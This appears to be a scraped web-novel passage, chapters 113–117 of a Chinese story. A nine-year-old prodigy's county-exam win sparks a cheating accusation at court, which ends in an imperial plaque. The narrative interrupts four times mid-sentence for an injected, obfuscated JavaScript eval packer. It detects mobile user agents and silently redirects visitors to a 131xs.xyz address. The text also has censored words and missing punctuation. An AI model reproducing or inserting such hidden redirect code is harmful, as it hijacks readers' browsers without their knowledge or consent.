“您看,您这都欢喜的说不出话咯!” ? 113、郑阁老:徒孙太优秀了怎么办! 东莱先生确实‘欢喜’到说不出话来了。 他一向知道,自家小徒弟很有天资。 真让徒弟彻底低调下来,似乎也……怪为难他的。 可,也没有必要九岁就中县案首吧! 老天! 这么年轻的县案首,难道就没有人来质疑? 东莱先生思绪翻腾,久久无法平静,竟无意识把心里的疑问,喃喃说了出来。 听到这话,老崔氏越发得意:“怎么没有,那日县衙放榜的时候,上千考生站出来质疑岘哥儿,说他舞弊! “结果您猜怎么着? 迎着老崔氏得意洋洋的表情,东莱先生不知为何有些头皮发麻,小心翼翼问道:“……怎么着? 老崔氏表情可以说是眉飞色舞,兴奋道:“结果,上千考生现场出题,岘哥儿当场破题。 “连破百余道题,每一题答案都无人挑出错误。到最后,那上千考生,再也不敢怀疑岘哥儿的实力! “如今南阳城里人人皆知,九岁县案首当场破百题的事迹!甚至还有读书人,想要购买岘哥儿破题的答案。 “我正合计着,印刷一本《九岁县案首崔岘破百道八股题》的书,去售卖呢! “……老先生,您怎么了?您不开心欢喜吗? 东莱先生挤出一个比哭还难看的笑容:“高兴,老夫实在是太高兴了! 原来,九岁县案首还不是最高调的。 最高调的,是九岁县案首当场对峙数千考生,连破百道八股题! 这……简直是活生生的‘佳话传播案例’,会引发大轰动的啊! 东莱先生悬着的心终于**。 这时,自知‘闯祸’的崔岘走了过来,朝老师挤出一个尴尬的笑容,正欲道歉。 东莱先生摆摆手:“为师知道,不怪你。你只是太优秀了而已,你有什么错呢? “对了,本次县试的题目是什么,你又如何作答的? 崔岘松了口气,道:“本次县试一共两道题,分别是:武王缵太王、王季、文王之绪。 “今夫天。 听到这两个熟悉的题目,东莱先生浑身一震。 而后,当小徒弟把答卷内容 背诵出来以后,东莱先生激动不已。 当日在开封,提学官递给他的那两道,惊才艳艳的八股题,原来是自家小徒弟写的? 而这县案首,竟是他亲自给徒弟点的! 这样想着。 东莱先生噌的一下站起来,看向徒弟的目光满是欣慰、赞叹,一改先前‘天塌了’的表情。 老先生振振有词道:“乖徒,莫怕!你没有错!这个县案首,就该你来拿!要是叶怀峰不给你县案首,老夫就敢冲进县衙找他算账! “没事的,没事的。 “但就是你师祖那里……嗯,他会原谅咱们的。额,不对,他可能只会原谅你,但是也没关系!徒孙太优秀了,他白得一个好徒孙,受点委屈怎么了? “他赢麻了,使劲偷着乐吧他! 听闻老师这番话,崔岘有些汗颜,神情也有些古怪。 他这次……该不会真的把师祖给坑了吧? 事实证明,是的! 提学大人那封奏疏,送去了礼部。 礼部尚书跟郑阁老不对付,自然不会提前打招呼。反倒是暗戳戳把这封奏疏,连夜送给了几个御史台、督察院的言官喷子。 于是,次日早朝。 毫无预兆的郑阁老,被喷成筛子了。 当时皇帝刚在龙椅坐下。 百官照旧向陛下行礼。 双方一副其乐融融、君臣尽欢的姿态。 等秉笔太监喊话,让群臣奏疏议事后。 接连三位言官,迫不及待站出来说道:“回禀陛下,臣有本要奏!臣要**郑次辅! 一时间,殿前百官纷纷侧目,满眼看好戏的吃瓜表情。 说实话,言官们屁事儿多。纵观满朝文武,哪个没被喷过,哪个没被**过? 郑阁老执政这么多年,对于这种事情实在从善如流。 几乎在被**的瞬间,郑阁老便向前走两步,一副惊恐慌张的表情:“微臣惶恐! 说话的同时,郑阁老心中其实也在疑惑,这次又是什么破事儿? 一点风声没听到啊。 但应该不是大事儿,毕竟也就两三个言官站出来而已。 结果下一刻,郑阁老真的‘惶恐’ 了。 得到皇帝准许。 一位言官大声道:“臣要**郑阁老插手科举帮助门下徒孙舞弊!微臣得到消息郑阁老的徒孙九岁崔岘中了南阳县案首!” “这一定是南阳县令意图巴结郑阁老所以才荒唐到将一九岁稚童点了县案首!” 此言一出满朝哗然。 万万没想到今日一上朝就出现了这么大的事情! 科举舞弊可是重罪啊! 而郑阁老本人也傻了。 “想不到我大梁科举是在为郑阁老选拔人才实在荒唐!” “恳请陛下肃清朝堂奸佞啊!” 三位言官接连激情开麦。 朝堂其余百官互相对视暗中使眼色有人表情振奋有人脸色着急。 因为这个事情很微妙。 九岁县案首实在夸张。 若是真的能定性为‘郑霞生参与科举舞弊’那就是泼天大罪他这个次辅指定是要被拉下马的! 难道……朝堂多年不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088404|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变的格局要被打破了? 有意思的是言官们打了头阵却迟迟无人敢跟进。 朝堂的大人们都是人精不似言官喷子他们深懂**斗争。要么不锤要么一锤子砸死。 显然这个情况是砸不死郑阁老的。 言官们在毫无证据的乱喷。 郑阁老也是人精但这次被喷的理由他是真没绷住。 老大人脸上的表情有片刻凝滞—— 不是小崔岘怎地就中县案首了? 周雍呢?李端呢?这俩废物徒弟竟然没有一个人提前来打声招呼? 还有不是早就交代下去让小崔岘低调行事吗! 那这县案首是怎么回事? 难道是敌人的阴谋? 叶怀峰可靠吗? 不不不谁家敌人为了坑你给你点作县案首啊! 那就只剩下一个真相——小徒孙太优秀了! 迅速想通了这些郑阁老扑通一声跪倒在地泪声道:“启禀陛下微臣对陛下忠心耿耿 “此番污蔑实在让老臣寒心呐!臣请 辞告老还乡,以示清白!” 龙椅上,见阁老哭的可怜巴巴,皇帝赶忙道:“郑爱卿何出此言,朕又并未真的怪罪于你。那南阳崔岘,朕还有些印象,便是他作的《悯农二首》吧。” 说话的同时。 皇帝看向参本的言官:“尔等状告郑阁老参与科举舞弊,可有证据。” “额……” 言官们支支吾吾,说不出话。 这也能看得出来,真正简在帝心的臣子,和普通臣子是不一样的。 郑霞生能稳坐次辅位置多年,岂能没有原因? 礼部尚书站了出来,道:“陛下,不如让南阳将那崔岘的考卷,呈送京城审阅?届时,自能为阁老洗刷冤屈。” 皇帝道:“准。” 这件事,便暂时翻篇。 但任谁都知道,它肯定没完! 若是那九岁稚童的答卷不合格,郑阁老绝对吃不了兜着走! 但文无第一,九岁稚童的答卷,如何做到让所有人信服?换句话说,但凡有点瑕疵,都能让人抓住把柄啊。 这件事,可操控的余地太多了。 下朝后。 其余各方势力,各展神通,速速连夜去查证崔岘的考卷。 九岁县案首一事,经由朝堂传出,立刻在官场、士林引发剧烈轰动。 与此同时,郑阁老一派的官员们也十分惶恐,纷纷来向阁老打探消息。 郑阁老表示:老夫不知啊! 老大人当场气呼呼修书两封,里面包含了无数脏话,分别送去开封、南阳。 你们两个孽徒,有这么坑老师的吗?! ? 114、满朝文武为何支支吾吾 李端、东莱先生这两位‘孽徒’和愚笨二字并不沾边。 在得知崔岘中了县案首以后师兄弟二人都分别紧急展开行动。 废话再不行动起来老师会骂死他俩的! 首先是东莱先生。 在徒弟的县案首庆功宴上迅速想出了对策。 他问老崔氏:“你要出版的那本《九岁县案首崔岘破百道八股题》印刷出来了吗?可否送给老夫一本。” 老崔氏当即大方道:“老先生您等着我这就给您取来!” 不得不说老太太此次真立大功了。 这段时间经历了很多老崔氏本就在快速成长。 再加上开蒙识字也初步有了些商业头脑。 那日跟崔岘离开县衙回家到了晚上后半夜老崔氏还激动的睡不着。 而后脑子灵光一闪有了个念头: 那百道八股题就该记录下来啊万一有读书人愿意买呢?岂不就发财了! 就算没人买也算记录了岘哥儿的辉煌战绩啊! 于是次日。 老崔氏找来岘哥儿 大家合力一起回忆愣是把昨日那么多现场提问的八股题给整理出来了! 对老崔氏来说这是她的商业思维微微开窍了。 但对东莱先生来说这就是为自家徒弟正名、甚至让他的老师郑阁老在朝堂上挺直腰杆的有力证据啊! 拿到那本书后。 东莱先生甚至没忍住狠狠夸赞了老崔氏一番:“小崔岘有您这样一位优秀的祖母实在是他的福气啊。” “这本书的作用可大了去了!此书一拿出来礼部那帮人甚至都没脸面来南阳盘查小崔岘这个县案首。” “他们丢不起这个人呐!” 老崔氏被夸得美滋滋的笑的嘴巴都合不拢。 她现在就喜欢听‘你没给岘哥儿拖后腿’这种话。 哎哟太有成就感啦! 而东莱先生说完则是打开那本书翻阅越看眼睛越亮越看表情越得意。 老子的徒弟怎么能这么优秀呢! 等看完了那本书 ,东莱先生当即命仆从,将其火速送往开封府! 另一边。 开封府。 本来李端整个人还挺慌,思索着该怎么不着痕迹把自己摘出去,将篓子都推到师兄东莱先生身上。 好躲过老师一番谩骂。 可等跟随提学官一起,去看过师侄崔岘的试卷以后。 李端拿着那试卷,瞪圆了眼,直呼:“好家伙!” 他看向提学官,问道:“这份试卷?” 提学官嘿嘿一笑:“大人放心,下官只将成绩文书送去了礼部,试卷还未来得及呈送。” 干得漂亮! 李端也跟着嘿笑道:“既然如此,那就让他们去闹腾吧!闹到最后,且看他们还有何脸面!” 但,李端并未第一时间将试卷送去京城。 而是默契的选择等一等。 不出所料。 次日中午,南阳那边,师兄周雍送来了一本《九岁县案首崔岘破百道八股题》的书。 李端看完以后,没忍住又瞪直了眼:“好家伙!” 旁边,提学官好奇接过来看了看,下意识也跟着惊呼:“好家伙!” 一人对战上千考生。 连破百余道八股题。 当场力挽狂澜,证明自己县案首的实力。 这…… 不仅仅做了两篇教科书级别的八股文,还做了一件堪称教科书级别的‘舞弊危机公关应对’。 无敌了。 试卷+这本书送去京城,礼部甚至都不敢再派遣人来核查,崔岘这大梁王朝最年轻的九岁县案首,直接就坐稳了! 还是在满朝文武,甚至在陛下的亲自见证中,坐稳的! 李端兴奋一拍大腿:“速速将其发往京城!” 而在李端把这些东西发往京城的第三天,收到了一封来自京城的‘脏话信’。 李大人哆哆嗦嗦拆开那封信,仿佛看到阁老大人站在自己面前,满脸怒容唾沫横飞谩骂的可怕场面。 太可怕了! 还好,那份‘好东西’已经送去京城了! 京城,郑府。 最近因为徒孙中县案首一事,而卷入科举舞弊风波的郑阁 老,状态多少有些萎靡。 倒不是担心仕途受影响。 主要是担心小徒孙那边,究竟是怎么个事儿啊! “阁老,开封来信!” 听到仆从的话,郑霞生赶紧道:“快给老夫。” 书房里。 郑阁老先是看了崔岘的试卷。 他苍老的眼睛猛然瞪大了一圈,满脸尽是惊艳——因为这是两篇足以称作标准范文的精彩八股文章! 郑阁老看的心花怒放,盯着那两篇文章反复观看,满脸都是溺爱。 老夫的乖乖小徒孙哟,太厉害啦! 等恋恋不舍放下两篇八股文,他才随手拿起旁边另一本书,对《九岁县案首崔岘破百道八股题》这个书名表示出一些疑惑。 这是? 等翻开那本书,了解完事情始末之后,阁老大人也没忍住激动道:“好家伙! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088405|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 而后,郑阁老一扫前几天的萎靡,整个人瞬间精神抖擞。 你们污蔑老夫舞弊,老夫忍了。 但竟然敢污蔑我家乖乖徒孙的县案首,是靠舞弊得来的,老夫绝对不能忍! 小崔岘,你还有什么惊喜,是师祖不知道的。 且看明日早朝,师祖为你发声! 次日一大早。 朝堂。 郑阁老精神抖擞,将崔岘那份试卷、和那本书,印刷了足足几十份,带去上朝。 阁老年纪大了,这么重的东西,颤巍巍搬着,都有点搬不动。 因此,很多朝堂的官员们,都殷勤热情来帮忙。 郑阁老笑呵呵道:“人老啦,不似年轻的时候,身强力壮,什么都扛得动。哟,小李大人,来你替老夫拿一本书,再拿一份试卷。” “小徐大人,你也来一本。” “周大人,这一本给你。” 郑阁老一边走,一边分发,包括那三位参他科举舞弊的言官,也都发了一份。 朝堂的大人们,原本都没有多想。 皇帝还没来,大家闲着也是闲着,于是下意识打开阁老递过来的试卷、书本,凑一起翻阅。 而后,整个朝堂都响起此起彼伏的惊呼声、叫好声、震惊声、倒抽冷气声。 诸位大人们,眼珠子都快瞪出来了。 “九岁?你告诉我这是九岁稚童做的文章?” “嘶!这是什么妖孽!还好老夫上岸的早!” “这两篇文章,足以镌刻在国子监文碑上了!” “一人连破百道八股,当场平息舞弊质疑?南阳的考生们还好吗?” “这么好的文章,我怎么越看越难受。” 包括那三位言官,在看完崔岘的试卷,和那本书后,脸色瞬间涨的通红。 礼部尚书更是脸都绿了,勉强挤出一个笑容,对郑霞生咬牙切齿道:“恭喜阁老,收了个优秀徒孙啊!” 郑阁老笑眯眯谦逊道:“一般,一般吧。” 礼部尚书:“……” 不久后。 皇帝上朝,秉笔太监宣布群臣奏疏。 然而不知为何,接连数日都在朝堂开喷郑阁老的言官们,今日一个个安静如鸡。 皇帝等了片刻,没等到一人开口,疑惑调侃道:“诸位爱卿,今日好似格外和谐啊,可是发生了什么朕不知道的趣事儿?” “……” 看完一位九岁稚童的文章,大受震撼,险些道心不稳,算趣事儿吗? 满朝文武支支吾吾,无一人开口。 ? 115、麟子文星,神童天授 朝堂。 在一片安静当中,郑阁老站了出来:“启禀陛下,臣收到了南阳送来的,本届县案首的试卷。 哦? 看来,让诸位大人们安静的缘由,就在这份试卷上了。 皇帝饶有兴趣道:“呈上来,让朕也瞧瞧。 秉笔太监从郑霞生手中,接过试卷,和一本书,恭敬呈给皇帝。 皇帝先看了试卷,碍于皇家威仪,没有出声。 但眼睛明显亮了起来。 此等精彩好文章,看完以后,实在让人心中舒畅啊! 与此同时,皇帝也反应过来,为何满朝文武,竟无一人应声。 他朗声笑道:“诸位爱卿,你们九岁的时候,可能做出此等妙笔生花的锦绣文章呐? 群臣:“…… 别问了,别问了! 皇帝问话的同时,又翻开那本《九岁县案首崔岘破百道八股题》的书,看的津津有味。 嘴角也不自觉浮现出笑意。 普天之下,莫非王土。 大梁出了这样一位神童,身为君主,他自是高兴的。 而且,崔岘还是郑霞生的徒孙。 这样想着。 皇帝不着痕迹看向郑霞生前方——那是一个比郑阁老还要苍老一些的老者,耷拉着眼皮,身形佝偻消瘦,好似隐形了一般不起眼。 但,他却头戴七粱冠,身穿绯袍,配赤色绶带。 此人,便是大梁王朝的首辅,陈秉。 几乎是在皇帝将目光落在自己身上的瞬间,陈秉骤然睁开眼睛,微微躬身:“老臣,恭贺陛下,喜得麟才! “以九岁年纪,便能做出此等上好之文章,实乃我大梁之幸,陛下之幸! “老臣建议,应该给予麟才褒奖,彰显陛下拳拳爱才之心意。 陈秉刚一开口。 郑霞生整个人便悄然绷紧神经,浑浊的双眼深处,是十二万分的戒备。 其实,不应该让小崔岘接下这个褒奖的。 他还年幼,此举有捧杀之嫌疑。 但陈秉把话堵**:彰显陛下爱才之心。 郑阁老无法站出来替崔岘拒绝——陛下爱才 作为臣子你以什么资格拒绝呢?以崔岘师祖的身份吗? 朝堂之上唯有君臣! 皇帝闻言笑道:“以陈爱卿之见朕这褒奖之词该如何拟定呢?” 陈秉道:“麟子文星神童天授!” 哗! 听到此话满朝哗然震撼。 纵观历朝历代都有被皇帝褒奖神童的案例每每都被传为佳话。 但褒奖词都是以四字居多。 八个字的褒奖词属实罕见呐! 至少在大梁王朝这是独一份。 换句话说这个褒奖词一经赐下崔岘便是皇帝钦点的‘大梁第一神童’了! 听闻陈秉此话郑霞生犹如护犊子的老牛脊梁都挺直了。 小崔岘 但没办法这就是政斗。 被嘉奖的那个集万千耀眼光环于一身却也成为众矢之的。 而提议嘉奖别人徒孙的陈秉看似在不怀好意捧杀实则呢似乎也没落到什么好处。 两位阁老你来我往、明争暗斗多年早就习惯了。 但皇帝很满意。 他坐在龙椅上不动声色将两位阁老的微表情尽收眼底笑道:“便依陈爱卿之言赐崔岘‘麟子文星神童天授’的牌匾由礼部择吉日赐去南阳。” 于是此事便这样定下了。 郑阁老参与科举舞弊一事不攻自破。 当日下朝。 南阳出了一位大梁王朝最年轻的九岁县案首一事迅速震撼传开。 当得知陛下赐了‘麟子文星神童天授’后更是引发士林、官场齐齐轰动。 国子监老祭酒甚至在下朝后当众激动表示:“崔岘这两篇文章实在惊艳绝伦本官要将其镌刻在国子监文碑上供学子们瞻仰学习。” 当然这是不是在‘**表演’咱也不知道。 总之几日后《今夫天》、《武王缵太王、王季、文王之绪》两篇文章被刻在了国子监的文碑上。 文碑下方南阳九岁县案首崔岘这一行署名闪瞎了无数国子监学生的眼睛。 整个国子监都轰动了。 “九岁?当真只有九岁?” “我不信假的肯定是假的哈哈哈哈!” “是真的陛下亲自赐了‘麟子文星神童天授’的牌匾。” “不读了我不读了我要回家!” 而这两篇锦绣文章也迅速传开。 和文章一同流传的还有南阳九岁县案首单人**上千考生、连破百道八股题的传奇事迹。 崔岘真正做到了名动四方! 比半年前《悯农二首》闹出来的动静 尤其是《武王缵太王、王季、文王之绪》这一篇八股看得无数老学究道心破碎。 九岁的崔岘用实力证明—— 八股文就该这么写! 甚至自国子监往下各省的府学、州学教谕们都将这篇文章当做范文解析。 老教谕们神情激动:“九岁稚童作的文章都比你们强!你们还要脸不啊?要脸不!” “看**什么看这篇文章啊!” “好好研究彻底研究透彻了!八股文就该这么写!” “圣上亲口褒奖朝堂大人们公认的锦绣文章!你们研究明白了还愁考不中?” 一帮年纪少说在二三十岁的考生们无语凝噎:“……” 总之。 从大梁王朝嘉和十七年开始有个叫做崔岘的超级天才成了整个王朝所有考生的噩梦。 太好了是学神。 我们没救啦! 当外界因崔岘而闹得沸沸扬扬之时。 夜。 清亮的油灯下。 刚刚沐浴完披着湿发、身穿常服的郑阁老正在悠闲给自家乖徒孙写信。 大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088406|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概人老了就容易隔辈亲。 对周雍、李端两个徒弟嫌弃到不行动辄就骂的郑阁老对小徒孙实在是喜欢的紧。 这封信里阁老大人用亲切话家常的方式谆谆教导小徒孙内容大概是这样的: 小崔岘你这次可真是让师祖惊喜又惊吓哟哈哈。 但不管怎么说你是最优秀的好孩子师祖要先表扬你。 师祖特地让你老师把你的身量尺寸送来。届时 ,师祖找裁缝给你量新衣好不好啊?你喜欢什么颜色哟。 还有,你此次表现可厉害啦,咱们的陛下,都下旨褒奖你了! 但师祖要告诉你的是,被陛下褒奖,并非全然都是好事。 你还小,师祖不能让你过早掺和到大人的事情中来,把你置于危险的境地。因为现在的你,还无法承担这种可怕的风险。 此次事件风波平息后,你安心待在南阳,好好同你老师潜心修**学问。 师祖并非迂腐之人,也不是要刻意压着你,执意要你低调。 但是小崔岘,你要知道。不管在朝堂里,还是朝堂外,只凭借你一个人,终究是走不远的。 而你站的位置越高,所接触到的人性,就越凉薄,越不可信。 单纯的利益群体看似最可靠,但随时也会有遭人背刺的可怕危机。 所以你的家人,老师,兄弟,同窗,才是你扎根在这个世界的,最稳固的基石。 你看师祖我,有你师叔、老师两个徒弟。 还有千百桃李门生,身居高位的同乡、同年、兄弟。 甚至师祖家,也是名门望姓,单纺织一个行业,便养活着上万织工。 而这些,便是师祖立于朝堂的基石,是师祖同人作战的‘盔甲’。 如今,小崔岘你,也成为师祖身上盔甲的一部分咯。 还是最闪耀的一片,放在心尖尖位置上! 但,师祖无法护你一辈子。师祖也不想看到,你将来会跟你老师那般,回望功名路,身边竟只有寥寥数人惨淡作伴。 好孩子,不要着急。 好好享受长大的过程,好好给自己铸就‘盔甲’。 你要挑选最可靠优秀的兄弟同窗,打造最实力雄厚的家族底蕴。你要去高台辩经,在士林积攒声望,广交天下群英。 你要记得,你的未来拥有无限可能。而你积攒的力量越雄厚,以后的造化便越惊人。 等你铸好盔甲,真正成长起来的那天,便来京城吧。 同师祖一起,登上朝堂。 届时,师祖必定倾尽全力,送你登上人臣之巅! 书房里。 一个眉眼和蔼的老者,在油灯下,笑着絮絮叨叨写了一大堆文字。 恨不得将自己的毕生感悟,一一说与徒孙听。 他似乎全然没有意识到,这封家常信里的内容—— 关乎着大梁文官集团中最浩瀚的一场权力交接,和绚烂薪火之传承。 ? 116、接圣驾 礼部的仪仗队伍是四月下旬抵达南阳的。 因为赐予神童崔岘的牌匾足足有八个字属于大梁王朝开国后头一遭。 再加上首辅提议赐匾皇帝应允崔岘本人又是次辅的徒孙。 所以……这场颁发牌匾的仪式阵仗直接被拉到了最高规格。 经由内阁批准礼部右侍郎被点做钦差大臣携圣旨及匾额选黄道吉日离京赶往崔岘家中。 值得一提的是。 崔岘是因文才受赏所以翰林院也参与进来负责撰写牌匾事务。 京城距离南阳路途遥远。 钦差仪仗队伍代天行赐自不会风尘仆仆赶路。因此要走官道一个城、一个城路过。 几乎每到一处都要有官员接待。 更有无数百姓夹道相迎闻讯赶来凑热闹。 虽说那块‘麟子文星神童天授’的牌匾被黄绸覆盖看不到全貌。 但百姓们都知道了那是陛下奖励给小神童的。 大梁王朝第一神童南阳崔岘! 神童崔岘的大名便这样轰然传开真正做到了‘家喻户晓、妇孺皆知’。 当然南阳方面也得做足准备。 早在礼部的仪仗队还未离京之前内阁的口谕就先送来了。 想想看 这不就招笑了嘛! 内阁的口谕说白了就是帮皇帝传句话。 这句话都没有经过河南布政使李端直接送到了南阳知府衙门宋知府这里。 当时宋知府正在衙门里打盹儿。 骤然得知‘皇帝给你捎了句话’吓得差点没哆嗦过去。 等弄明白皇帝要嘉奖崔岘匾额这才狠狠松了口气。 接着。 宋知府火速去找叶怀峰县令二位大人强忍住激动把两个衙门里的差役、小吏都召集来风风火火赶去崔宅。 至于去干什么—— 当然是替崔家打扫卫生呐! 那天老崔氏正在家里痛苦学算术一大帮衙门官员呼啦啦冲进来给她家扫地、修缮地板、房屋 ,甚至修砌门头。 宋知府一张老脸笑的比菊花都灿烂,殷勤的像是见了自己老子娘:“崔老夫人,大喜,大喜啊!” “圣上要给您家岘哥儿,赐神童牌匾呢!” 老崔氏噌的一下站起来,差点以为自己学算术学昏头了,产生了幻觉。 等确认是真事儿以后。 老太太激动地脸色发红,颤声道:“伯山、仲渊,你们听到了吗!圣上要给咱家岘哥儿赐牌匾啦!” 一嗓子,把全家嚎的瞠目结舌,激动不已。 娘嘞,御赐牌匾! 这下真是老崔家祖坟冒青烟了! 全家人都晕晕乎乎的看向崔岘。 崔岘瞧着他们惊喜的表情,笑着提醒道:“祖母,那你得给全家都尽快准备新衣。到时候,咱们得接圣驾呢。” 对对! 老崔氏一拍脑袋,激动的整个人还在发抖:“赶紧制新衣!哎哟,老婆子我做梦都想不到,竟然还有接圣驾的一天!” 此后小一个月,崔家都在惊喜与忙碌中度过。 而两府衙门的差役们,更是殷勤出力,恨不得把崔家的房屋修缮出一朵花来! 这可半点都不夸张。 也就如今崔家脱离了宗亲,暂时没有开祠堂。 否则,这群地方官员,还得帮崔家打理、修缮祠堂,准备炮仗,参加崔家的祭祖仪式。 但就这也足够宋知府、叶怀峰忙活的了。 因为作为地方官员,他们得陪着崔家接旨,安排好所有的接驾仪式。 别说府衙、县衙,甚至连整个南阳城,都要参与进来。 圣上要给小神童赐匾的消息,经由衙门发布,立刻在南阳城内引发轰动。 这一个月,南阳治安**,鸡鸣狗盗之事全部消失,连路面上都瞧不见垃圾。 甚至百姓们都自发开始维护‘南阳形象’。 一座城,因崔岘一人,而陷入某种盛大的狂欢。 直到四月底,钦差仪仗队伍,正式抵达南阳。 自崔家门口起,整条伏牛巷的地面,都铺上了红绸。 一身新衣的老崔氏,拉着岘哥儿,和全家人一起,站在门外激动等候。 而宋知府、叶县令 等一众南阳官员,则是要去城门外,迎钦差进城。 浩浩荡荡的仪仗队伍,自南阳城门进入,无数百姓在街道两侧,激动山呼万岁。 而在仪仗队最前端的,是由八位身穿飞鱼服内侍、共同抬着的牌匾! “陛下万岁!” “恭迎钦差大人!” “如此大的阵仗,实乃我生平仅见啊!” “快看,那便是陛下赏赐给小神童的牌匾。” “以后不是小神童啦,是咱们南阳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088407|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骄傲,大梁第一神童!” 前来凑热闹、观礼的南阳百姓,从城门口,一路排到了伏牛巷外。 那般浩荡恢弘的场面,很多百姓数年、数十年后都无法忘记。 钦差队伍抵达伏牛巷口。 “迎钦差!” “放礼炮!” 炮仗齐鸣,人声鼎沸。 老崔氏激动的险些没站稳,带领全家人相迎。 而如今已有童生功名在身的崔岘,身穿一套宝蓝色儒衫,站立于最前方。 他本就白皙俊俏,今日又逢喜事,整个人看起来越发耀眼夺目。 鞭炮声、欢呼声,为他加冕。 在宋知府、叶怀峰的陪同下,钦差礼部右侍郎携带圣旨,来到崔家门外。 但让所有人震撼的是。 这位正三品的礼部右侍郎,竟然没有第一时间宣读圣旨。 而是笑呵呵看向崔岘,热情寒暄:“你便是崔岘?果真一表人才!本官离京的时候,阁老大人特地嘱托,让我好生端详你的相貌,回去细细说给他老人家听呢。” “对了,阁老大人托我,给你带了些新衣、零嘴儿。老人家临行前,还担心你吃不惯京城的吃食,所以特地多备了一些花样。” 嘶! 听闻这些话,在场无数官员、百姓震撼到失声。 说罢,礼部右侍郎走上前来,竟亲自递过来两个包裹。 “小子崔岘,有劳大人!” 崔岘赶忙接过那包裹,沉甸甸的,全都是来自师祖的关切啊! 在满长街人怔怔的注视中,礼部右侍郎拉着崔岘、老崔氏,话了会儿家常。 这才一抬头,看了看天色,笑道:“吉时已到,本官该宣读圣旨了。” 于是。 一条长街的百姓,官员,都陪同着轰然跪下。 “奉天承运皇帝,诏曰:朕闻南阳童子崔岘,年方九龄,而才思敏捷,领悟绝伦。” “今特赐金帛十匹,赦赐匾额,以彰朝廷育才之德!” “望尔,不负圣心!” “钦此!” 圣旨宣读完后。 礼部右侍郎将其交到崔岘手中。 而后,在全场众人的注视下,一把掀开黄稠。 那块传说中的御赐牌匾,霎时便露出灿灿真容,其飞扬之字迹,在阳光下熠熠生辉。 ——“麟子文星,神童天授”! ? 117、岘哥儿,我们太想进步了! 虽说早就知道了这块牌匾上的内容。 但真正看到它的那一刻,满长街都安静下来,所有人眼睛里都是激荡与震撼。 这是圣上亲赐的啊! 此牌匾一旦挂上去,就是全南阳独一份的殊荣。 一个崭新的大家族,南阳崔氏,即将崛起,成为南阳最尊崇的名门望族! “崔岘,老人家,你们同本官一起抬匾吧。 礼部右侍郎看向崔岘和老崔氏,笑呵呵说道:“莫要辜负圣上的心意啊。 老崔氏瞧着那块匾,激动的红光满面,话都说不出来了。 她确实该激动的。 因为今日的崔家,绝对是整个南阳城,最风光得意的那个,没有之一! 此次授匾仪式,礼部会记在《实录》里,南阳县志同样要浓墨重彩写上一篇。 他们崔家,已经有了单开族谱底气! 在无数百姓的见证下。 激动的老崔氏,和崔岘,礼部右侍郎一起,跟侍卫们一起抬匾。 宋知府、叶怀峰县令,甚至早就在崔宅门口殷勤等候,小心翼翼帮忙将匾架提前挂上去。 这一幕属实让人瞠目。 但,等牌匾挂上去的时候,人们已经顾不得其他了。 礼炮梅开二度轰鸣。 圣上亲赐的牌匾,高悬于崔家门头上方。 甚至连‘崔宅’二字,都得排在下面。 有这八个字的牌匾镇着,以后不管谁来了崔家,不管什么地位,腰杆都得自动矮三分! 九岁的岘哥儿,做到了他一年前说的话—— 光耀崔家门楣! 作为崔家的大家长,今日这场盛事的主角之一。 风光得意的老崔氏,拉着岘哥儿的手,站在自家御赐牌匾下方,笑的格外振奋:“感谢各位大人们,替我家岘哥儿操心劳累。 “宅子里准备了席面,请各位大人享用。 “还有各位来捧场的父老乡亲,大家实在太过热情,恕我们无法一一招待。但经由知府大人、县令大人支持,我们在南阳大街盖了粥棚,并分发一些喜钱,好叫大家一起跟着讨个彩头。 “希望咱们南阳百姓,日子越过越红火! 她话音落下。 人群当即一片叫好。 看来经过这段时间的历练老崔氏也是能在大场面说上囫囵话的人咯! 崔岘悄悄对祖母竖起大拇指。 唯有老崔氏自己清楚她手心都出汗了小腿也在隐隐发抖。 为了今日这段发言她提前半个月都开始背诵了呢! 好在成效很不错嘛。 授匾仪式结束后。 